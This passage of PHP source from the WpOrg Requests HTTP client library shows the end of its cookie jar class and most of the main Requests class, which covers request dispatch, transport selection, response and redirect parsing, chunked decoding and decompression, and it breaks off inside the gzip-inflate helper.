			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		$this->cookies[$offset] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $offset The key for the item to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($offset) {
		unset($this->cookies[$offset]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return \ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator() {
		return new ArrayIterator($this->cookies);
	}

	/**
	 * Register the cookie handler with the request's hooking system
	 *
	 * @param \WpOrg\Requests\HookManager $hooks Hooking system
	 */
	public function register(HookManager $hooks) {
		$hooks->register('requests.before_request', [$this, 'before_request']);
		$hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']);
	}

	/**
	 * Add Cookie header to a request if we have any
	 *
	 * As per RFC 6265, cookies are separated by '; '
	 *
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param string $type
	 * @param array $options
	 */
	public function before_request($url, &$headers, &$data, &$type, &$options) {
		if (!$url instanceof Iri) {
			$url = new Iri($url);
		}

		if (!empty($this->cookies)) {
			$cookies = [];
			foreach ($this->cookies as $key => $cookie) {
				$cookie = $this->normalize_cookie($cookie, $key);

				// Skip expired cookies
				if ($cookie->is_expired()) {
					continue;
				}

				if ($cookie->domain_matches($url->host)) {
					$cookies[] = $cookie->format_for_header();
				}
			}

			$headers['Cookie'] = implode('; ', $cookies);
		}
	}

	/**
	 * Parse all cookies from a response and attach them to the response
	 *
	 * @param \WpOrg\Requests\Response $response Response as received.
	 */
	public function before_redirect_check(Response $response) {
		$url = $response->url;
		if (!$url instanceof Iri) {
			$url = new Iri($url);
		}

		$cookies           = Cookie::parse_from_headers($response->headers, $url);
		$this->cookies     = array_merge($this->cookies, $cookies);
		$response->cookies = $this;
	}
}
<?php
/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Auth\Basic;
use WpOrg\Requests\Capability;
use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Hooks;
use WpOrg\Requests\IdnaEncoder;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Proxy\Http;
use WpOrg\Requests\Response;
use WpOrg\Requests\Transport\Curl;
use WpOrg\Requests\Transport\Fsockopen;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Requests for PHP
 *
 * Inspired by Requests for Python.
 *
 * Based on concepts from SimplePie_File, RequestCore and WP_Http.
 *
 * @package Requests
 */
class Requests {
	/**
	 * POST method
	 *
	 * @var string
	 */
	const POST = 'POST';

	/**
	 * PUT method
	 *
	 * @var string
	 */
	const PUT = 'PUT';

	/**
	 * GET method
	 *
	 * @var string
	 */
	const GET = 'GET';

	/**
	 * HEAD method
	 *
	 * @var string
	 */
	const HEAD = 'HEAD';

	/**
	 * DELETE method
	 *
	 * @var string
	 */
	const DELETE = 'DELETE';

	/**
	 * OPTIONS method
	 *
	 * @var string
	 */
	const OPTIONS = 'OPTIONS';

	/**
	 * TRACE method
	 *
	 * @var string
	 */
	const TRACE = 'TRACE';

	/**
	 * PATCH method
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 * @var string
	 */
	const PATCH = 'PATCH';

	/**
	 * Default size of buffer size to read streams
	 *
	 * @var integer
	 */
	const BUFFER_SIZE = 1160;

	/**
	 * Option defaults.
	 *
	 * @see \WpOrg\Requests\Requests::get_default_options()
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const OPTION_DEFAULTS = [
		'timeout'          => 10,
		'connect_timeout'  => 10,
		'useragent'        => 'php-requests/' . self::VERSION,
		'protocol_version' => 1.1,
		'redirected'       => 0,
		'redirects'        => 10,
		'follow_redirects' => true,
		'blocking'         => true,
		'type'             => self::GET,
		'filename'         => false,
		'auth'             => false,
		'proxy'            => false,
		'cookies'          => false,
		'max_bytes'        => false,
		'idn'              => true,
		'hooks'            => null,
		'transport'        => null,
		'verify'           => null,
		'verifyname'       => true,
	];

	/**
	 * Default supported Transport classes.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	const DEFAULT_TRANSPORTS = [
		Curl::class      => Curl::class,
		Fsockopen::class => Fsockopen::class,
	];

	/**
	 * Current version of Requests
	 *
	 * @var string
	 */
	const VERSION = '2.0.9';

	/**
	 * Selected transport name
	 *
	 * Use {@see \WpOrg\Requests\Requests::get_transport()} instead
	 *
	 * @var array
	 */
	public static $transport = [];

	/**
	 * Registered transport classes
	 *
	 * @var array
	 */
	protected static $transports = [];

	/**
	 * Default certificate path.
	 *
	 * @see \WpOrg\Requests\Requests::get_certificate_path()
	 * @see \WpOrg\Requests\Requests::set_certificate_path()
	 *
	 * @var string
	 */
	protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem';

	/**
	 * All (known) valid deflate, gzip header magic markers.
	 *
	 * These markers relate to different compression levels.
	 *
	 * @link https://stackoverflow.com/a/43170354/482864 Marker source.
	 *
	 * @since 2.0.0
	 *
	 * @var array
	 */
	private static $magic_compression_headers = [
		"\x1f\x8b" => true, // Gzip marker.
		"\x78\x01" => true, // Zlib marker - level 1.
		"\x78\x5e" => true, // Zlib marker - level 2 to 5.
		"\x78\x9c" => true, // Zlib marker - level 6.
		"\x78\xda" => true, // Zlib marker - level 7 to 9.
	];

	/**
	 * This is a static class, do not instantiate it
	 *
	 * @codeCoverageIgnore
	 */
	private function __construct() {}

	/**
	 * Register a transport
	 *
	 * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface
	 */
	public static function add_transport($transport) {
		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		self::$transports[$transport] = $transport;
	}

	/**
	 * Get the fully qualified class name (FQCN) for a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return string FQCN of the transport to use, or an empty string if no transport was
	 *                found which provided the requested capabilities.
	 */
	protected static function get_transport_class(array $capabilities = []) {
		// Caching code, don't bother testing coverage.
		// @codeCoverageIgnoreStart
		// Array of capabilities as a string to be used as an array key.
		ksort($capabilities);
		$cap_string = serialize($capabilities);

		// Don't search for a transport if it's already been done for these $capabilities.
		if (isset(self::$transport[$cap_string])) {
			return self::$transport[$cap_string];
		}

		// Ensure we will not run this same check again later on.
		self::$transport[$cap_string] = '';
		// @codeCoverageIgnoreEnd

		if (empty(self::$transports)) {
			self::$transports = self::DEFAULT_TRANSPORTS;
		}

		// Find us a working transport.
		foreach (self::$transports as $class) {
			if (!class_exists($class)) {
				continue;
			}

			$result = $class::test($capabilities);
			if ($result === true) {
				self::$transport[$cap_string] = $class;
				break;
			}
		}

		return self::$transport[$cap_string];
	}

	/**
	 * Get a working transport.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return \WpOrg\Requests\Transport
	 * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`).
	 */
	protected static function get_transport(array $capabilities = []) {
		$class = self::get_transport_class($capabilities);

		if ($class === '') {
			throw new Exception('No working transports found', 'notransport', self::$transports);
		}

		return new $class();
	}

	/**
	 * Checks to see if we have a transport for the capabilities requested.
	 *
	 * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability}
	 * interface as constants.
	 *
	 * Example usage:
	 * `Requests::has_capabilities([Capability::SSL => true])`.
	 *
	 * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`.
	 * @return bool Whether the transport has the requested capabilities.
	 */
	public static function has_capabilities(array $capabilities = []) {
		return self::get_transport_class($capabilities) !== '';
	}

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a GET request
	 */
	public static function get($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::GET, $options);
	}

	/**
	 * Send a HEAD request
	 */
	public static function head($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public static function delete($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::DELETE, $options);
	}

	/**
	 * Send a TRACE request
	 */
	public static function trace($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::TRACE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public static function post($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::POST, $options);
	}
	/**
	 * Send a PUT request
	 */
	public static function put($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PUT, $options);
	}

	/**
	 * Send an OPTIONS request
	 */
	public static function options($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::OPTIONS, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public static function patch($url, $headers, $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * The `$options` parameter takes an associative array with the following
	 * options:
	 *
	 * - `timeout`: How long should we wait for a response?
	 *    Note: for cURL, a minimum of 1 second applies, as DNS resolution
	 *    operates at second-resolution only.
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `connect_timeout`: How long should we wait while trying to connect?
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `useragent`: Useragent to send to the server
	 *    (string, default: php-requests/$version)
	 * - `follow_redirects`: Should we follow 3xx redirects?
	 *    (boolean, default: true)
	 * - `redirects`: How many times should we redirect before erroring?
	 *    (integer, default: 10)
	 * - `blocking`: Should we block processing on this request?
	 *    (boolean, default: true)
	 * - `filename`: File to stream the body to instead.
	 *    (string|boolean, default: false)
	 * - `auth`: Authentication handler or array of user/password details to use
	 *    for Basic authentication
	 *    (\WpOrg\Requests\Auth|array|boolean, default: false)
	 * - `proxy`: Proxy details to use for proxy by-passing and authentication
	 *    (\WpOrg\Requests\Proxy|array|string|boolean, default: false)
	 * - `max_bytes`: Limit for the response body size.
	 *    (integer|boolean, default: false)
	 * - `idn`: Enable IDN parsing
	 *    (boolean, default: true)
	 * - `transport`: Custom transport. Either a class name, or a
	 *    transport object. Defaults to the first working transport from
	 *    {@see \WpOrg\Requests\Requests::getTransport()}
	 *    (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()})
	 * - `hooks`: Hooks handler.
	 *    (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks())
	 * - `verify`: Should we verify SSL certificates? Allows passing in a custom
	 *    certificate file as a string. (Using true uses the system-wide root
	 *    certificate store instead, but this may have different behaviour
	 *    across transports.)
	 *    (string|boolean, default: certificates/cacert.pem)
	 * - `verifyname`: Should we verify the common name in the SSL certificate?
	 *    (boolean, default: true)
	 * - `data_format`: How should we send the `$data` parameter?
	 *    (string, one of 'query' or 'body', default: 'query' for
	 *    HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use Requests constants)
	 * @param array $options Options for the request (see description for more information)
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_string($type) === false) {
			throw InvalidArgument::create(4, '$type', 'string', gettype($type));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(5, '$options', 'array', gettype($options));
		}

		if (empty($options['type'])) {
			$options['type'] = $type;
		}

		$options = array_merge(self::get_default_options(), $options);

		self::set_defaults($url, $headers, $data, $type, $options);

		$options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$need_ssl     = (stripos($url, 'https://') === 0);
			$capabilities = [Capability::SSL => $need_ssl];
			$transport    = self::get_transport($capabilities);
		}

		$response = $transport->request($url, $headers, $data, $options);

		$options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]);

		return self::parse_response($response, $url, $headers, $data, $options);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * The `$requests` parameter takes an associative or indexed array of
	 * request fields. The key of each request can be used to match up the
	 * request with the returned data, or with the request passed into your
	 * `multiple.request.complete` callback.
	 *
	 * The request fields value is an associative array with the following keys:
	 *
	 * - `url`: Request URL Same as the `$url` parameter to
	 *    {@see \WpOrg\Requests\Requests::request()}
	 *    (string, required)
	 * - `headers`: Associative array of header fields. Same as the `$headers`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array, default: `array()`)
	 * - `data`: Associative array of data fields or a string. Same as the
	 *    `$data` parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array|string, default: `array()`)
	 * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (string, default: `\WpOrg\Requests\Requests::GET`)
	 * - `cookies`: Associative array of cookie name to value, or cookie jar.
	 *    (array|\WpOrg\Requests\Cookie\Jar)
	 *
	 * If the `$options` parameter is specified, individual requests will
	 * inherit options from it. This can be used to use a single hooking system,
	 * or set all the types to `\WpOrg\Requests\Requests::POST`, for example.
	 *
	 * In addition, the `$options` parameter takes the following global options:
	 *
	 * - `complete`: A callback for when a request is complete. Takes two
	 *    parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the
	 *    ID from the request array (Note: this can also be overridden on a
	 *    per-request basis, although that's a little silly)
	 *    (callback)
	 *
	 * @param array $requests Requests data (see description for more information)
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public static function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$options = array_merge(self::get_default_options(true), $options);

		if (!empty($options['hooks'])) {
			$options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
			if (!empty($options['complete'])) {
				$options['hooks']->register('multiple.request.complete', $options['complete']);
			}
		}

		foreach ($requests as $id => &$request) {
			if (!isset($request['headers'])) {
				$request['headers'] = [];
			}

			if (!isset($request['data'])) {
				$request['data'] = [];
			}

			if (!isset($request['type'])) {
				$request['type'] = self::GET;
			}

			if (!isset($request['options'])) {
				$request['options']         = $options;
				$request['options']['type'] = $request['type'];
			} else {
				if (empty($request['options']['type'])) {
					$request['options']['type'] = $request['type'];
				}

				$request['options'] = array_merge($options, $request['options']);
			}

			self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);

			// Ensure we only hook in once
			if ($request['options']['hooks'] !== $options['hooks']) {
				$request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
				if (!empty($request['options']['complete'])) {
					$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
				}
			}
		}

		unset($request);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$transport = self::get_transport();
		}

		$responses = $transport->request_multiple($requests, $options);

		foreach ($responses as $id => &$response) {
			// If our hook got messed with somehow, ensure we end up with the
			// correct response
			if (is_string($response)) {
				$request = $requests[$id];
				self::parse_multiple($response, $request);
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]);
			}
		}

		return $responses;
	}

	/**
	 * Get the default options
	 *
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 * @param boolean $multirequest Is this a multirequest?
	 * @return array Default option values
	 */
	protected static function get_default_options($multirequest = false) {
		$defaults           = static::OPTION_DEFAULTS;
		$defaults['verify'] = self::$certificate_path;

		if ($multirequest !== false) {
			$defaults['complete'] = null;
		}

		return $defaults;
	}

	/**
	 * Get default certificate path.
	 *
	 * @return string Default certificate path.
	 */
	public static function get_certificate_path() {
		return self::$certificate_path;
	}

	/**
	 * Set default certificate path.
	 *
	 * @param string|Stringable|bool $path Certificate path, pointing to a PEM file.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean.
	 */
	public static function set_certificate_path($path) {
		if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) {
			throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path));
		}

		self::$certificate_path = $path;
	}

	/**
	 * Set the default values
	 *
	 * The $options parameter is updated with the results.
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type
	 * @param array $options Options for the request
	 * @return void
	 *
	 * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL.
	 */
	protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
		if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
			throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
		}

		if (empty($options['hooks'])) {
			$options['hooks'] = new Hooks();
		}

		if (is_array($options['auth'])) {
			$options['auth'] = new Basic($options['auth']);
		}

		if ($options['auth'] !== false) {
			$options['auth']->register($options['hooks']);
		}

		if (is_string($options['proxy']) || is_array($options['proxy'])) {
			$options['proxy'] = new Http($options['proxy']);
		}

		if ($options['proxy'] !== false) {
			$options['proxy']->register($options['hooks']);
		}

		if (is_array($options['cookies'])) {
			$options['cookies'] = new Jar($options['cookies']);
		} elseif (empty($options['cookies'])) {
			$options['cookies'] = new Jar();
		}

		if ($options['cookies'] !== false) {
			$options['cookies']->register($options['hooks']);
		}

		if ($options['idn'] !== false) {
			$iri       = new Iri($url);
			$iri->host = IdnaEncoder::encode($iri->ihost);
			$url       = $iri->uri;
		}

		// Massage the type to ensure we support it.
		$type = strtoupper($type);

		if (!isset($options['data_format'])) {
			if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) {
				$options['data_format'] = 'query';
			} else {
				$options['data_format'] = 'body';
			}
		}
	}

	/**
	 * HTTP response parser
	 *
	 * @param string $headers Full response text including headers and body
	 * @param string $url Original request URL
	 * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
	 * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
	 * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`)
	 */
	protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
		$return = new Response();
		if (!$options['blocking']) {
			return $return;
		}

		$return->raw  = $headers;
		$return->url  = (string) $url;
		$return->body = '';

		if (!$options['filename']) {
			$pos = strpos($headers, "\r\n\r\n");
			if ($pos === false) {
				// Crap!
				throw new Exception('Missing header/body separator', 'requests.no_crlf_separator');
			}

			$headers = substr($return->raw, 0, $pos);
			// Headers will always be separated from the body by two new lines - `\n\r\n\r`.
			$body = substr($return->raw, $pos + 4);
			if (!empty($body)) {
				$return->body = $body;
			}
		}

		// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
		$headers = str_replace("\r\n", "\n", $headers);
		// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
		$headers = preg_replace('/\n[ \t]/', ' ', $headers);
		$headers = explode("\n", $headers);
		preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
		if (empty($matches)) {
			throw new Exception('Response could not be parsed', 'noversion', $headers);
		}

		$return->protocol_version = (float) $matches[1];
		$return->status_code      = (int) $matches[2];
		if ($return->status_code >= 200 && $return->status_code < 300) {
			$return->success = true;
		}

		foreach ($headers as $header) {
			list($key, $value) = explode(':', $header, 2);
			$value             = trim($value);
			preg_replace('#(\s+)#i', ' ', $value);
			$return->headers[$key] = $value;
		}

		if (isset($return->headers['transfer-encoding'])) {
			$return->body = self::decode_chunked($return->body);
			unset($return->headers['transfer-encoding']);
		}

		if (isset($return->headers['content-encoding'])) {
			$return->body = self::decompress($return->body);
		}

		//fsockopen and cURL compatibility
		if (isset($return->headers['connection'])) {
			unset($return->headers['connection']);
		}

		$options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]);

		if ($return->is_redirect() && $options['follow_redirects'] === true) {
			if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
				if ($return->status_code === 303) {
					$options['type'] = self::GET;
				}

				$options['redirected']++;
				$location = $return->headers['location'];
				if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
					// relative redirect, for compatibility make it absolute
					$location = Iri::absolutize($url, $location);
					$location = $location->uri;
				}

				$hook_args = [
					&$location,
					&$req_headers,
					&$req_data,
					&$options,
					$return,
				];
				$options['hooks']->dispatch('requests.before_redirect', $hook_args);
				$redirected            = self::request($location, $req_headers, $req_data, $options['type'], $options);
				$redirected->history[] = $return;
				return $redirected;
			} elseif ($options['redirected'] >= $options['redirects']) {
				throw new Exception('Too many redirects', 'toomanyredirects', $return);
			}
		}

		$return->redirects = $options['redirected'];

		$options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]);
		return $return;
	}

	/**
	 * Callback for `transport.internal.parse_response`
	 *
	 * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response
	 * while still executing a multiple request.
	 *
	 * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object
	 *
	 * @param string $response Full response text including headers and body (will be overwritten with Response instance)
	 * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()}
	 * @return void
	 */
	public static function parse_multiple(&$response, $request) {
		try {
			$url      = $request['url'];
			$headers  = $request['headers'];
			$data     = $request['data'];
			$options  = $request['options'];
			$response = self::parse_response($response, $url, $headers, $data, $options);
		} catch (Exception $e) {
			$response = $e;
		}
	}

	/**
	 * Decoded a chunked body as per RFC 2616
	 *
	 * @link https://tools.ietf.org/html/rfc2616#section-3.6.1
	 * @param string $data Chunked body
	 * @return string Decoded body
	 */
	protected static function decode_chunked($data) {
		if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
			return $data;
		}

		$decoded = '';
		$encoded = $data;

		while (true) {
			$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
			if (!$is_chunked) {
				// Looks like it's not chunked after all
				return $data;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0) {
				// Ignore trailer headers
				return $decoded;
			}

			$chunk_length = strlen($matches[0]);
			$decoded     .= substr($encoded, $chunk_length, $length);
			$encoded      = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded)) {
				return $decoded;
			}
		}

		// We'll never actually get down here
		// @codeCoverageIgnoreStart
	}
	// @codeCoverageIgnoreEnd

	/**
	 * Convert a key => value array to a 'key: value' array for headers
	 *
	 * @param iterable $dictionary Dictionary of header values
	 * @return array List of headers
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable.
	 */
	public static function flatten($dictionary) {
		if (InputValidator::is_iterable($dictionary) === false) {
			throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary));
		}

		$return = [];
		foreach ($dictionary as $key => $value) {
			$return[] = sprintf('%s: %s', $key, $value);
		}

		return $return;
	}

	/**
	 * Decompress an encoded body
	 *
	 * Implements gzip, compress and deflate. Guesses which it is by attempting
	 * to decode.
	 *
	 * @param string $data Compressed data in one of the above formats
	 * @return string Decompressed string
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function decompress($data) {
		if (is_string($data) === false) {
			throw InvalidArgument::create(1, '$data', 'string', gettype($data));
		}

		if (trim($data) === '') {
			// Empty body does not need further processing.
			return $data;
		}

		$marker = substr($data, 0, 2);
		if (!isset(self::$magic_compression_headers[$marker])) {
			// Not actually compressed. Probably cURL ruining this for us.
			return $data;
		}

		if (function_exists('gzdecode')) {
			$decoded = @gzdecode($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		if (function_exists('gzinflate')) {
			$decoded = @gzinflate($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		$decoded = self::compatible_gzinflate($data);
		if ($decoded !== false) {
			return $decoded;
		}

		if (function_exists('gzuncompress')) {
			$decoded = @gzuncompress($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		return $data;
	}

	/**
	 * Decompression of deflated string while staying compatible with the majority of servers.
	 *
	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
	 * function cannot handle out of the box. The following function has been created from
	 * various snippets on the gzinflate() PHP documentation.
	 *
	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
	 * https://core.trac.wordpress.org/ticket/18273
	 *
	 * @since 1.6.0
	 * @link https://core.trac.wordpress.org/ticket/18273
	 * @link https://www.php.net/gzinflate#70875
	 * @link https://www.php.net/gzinflate#77336
	 *
	 * @param string $gz_data String to decompress.
	 * @return string|bool False on failure.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function compatible_gzinflate($gz_data) {
		if (is_string($gz_data) === false) {
			throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data));
		}

		if (trim($gz_data) === '') {
			return false;
		}

		// Compressed data might contain a full zlib header, if so strip it for
		// gzinflate()
		if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") {
			$i   = 10;
			$flg = ord(substr($gz_data, 3, 1));
			if ($flg > 0) {
				if ($flg & 4) {
					list($xlen) = unpack('v', substr($gz_data, $i, 2));
					$i         += 2 + $xlen;
				}

				if ($flg & 8) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 16) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 2) {
					$i += 2;
				}
			}

			$decompressed = self::compatible_gzinflate(substr($gz_data, $i));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		// If the data is Huffman Encoded, we must first strip the leading 2
		// byte Huffman marker for gzinflate()
		// The response is Huffman coded by many compressors such as
		// java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's
		// System.IO.Compression.DeflateStream.
		//
		// See https://decompres.blogspot.com/ for a quick explanation of this
		// data type
		$huffman_encoded = false;

		// low nibble of first byte should be 0x08
		list(, $first_nibble) = unpack('h', $gz_data);

		// First 2 bytes should be divisible by 0x1F
		list(, $first_two_bytes) = unpack('n', $gz_data);

		if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) {
			$huffman_encoded = true;
		}

		if ($huffman_encoded) {
			$decompressed = @gzinflate(substr($gz_data, 2));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") {
			// ZIP file format header
			// Offset 6: 2 bytes, General-purpose field
			// Offset 26: 2 bytes, filename length
			// Offset 28: 2 bytes, optional field length
			// Offset 30: Filename field, followed by optional field, followed
			// immediately by data
			list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2));

			// If the file has been compressed on the fly, 0x08 bit is set of
			// the general purpose field. We can use this to differentiate
			// between a compressed document, and a ZIP file
			$zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08);

			if (!$zip_compressed_on_the_fly) {
				// Don't attempt to decode a compressed zip file
				return $gz_data;
			}

			// Determine the first byte of data, based on the above ZIP header
			// offsets:
			$first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4)));
			$decompressed     = @gzinflate(substr($gz_data, 30 + $first_file_start));
			if ($decompressed !== false) {
				return $decompressed;
			}

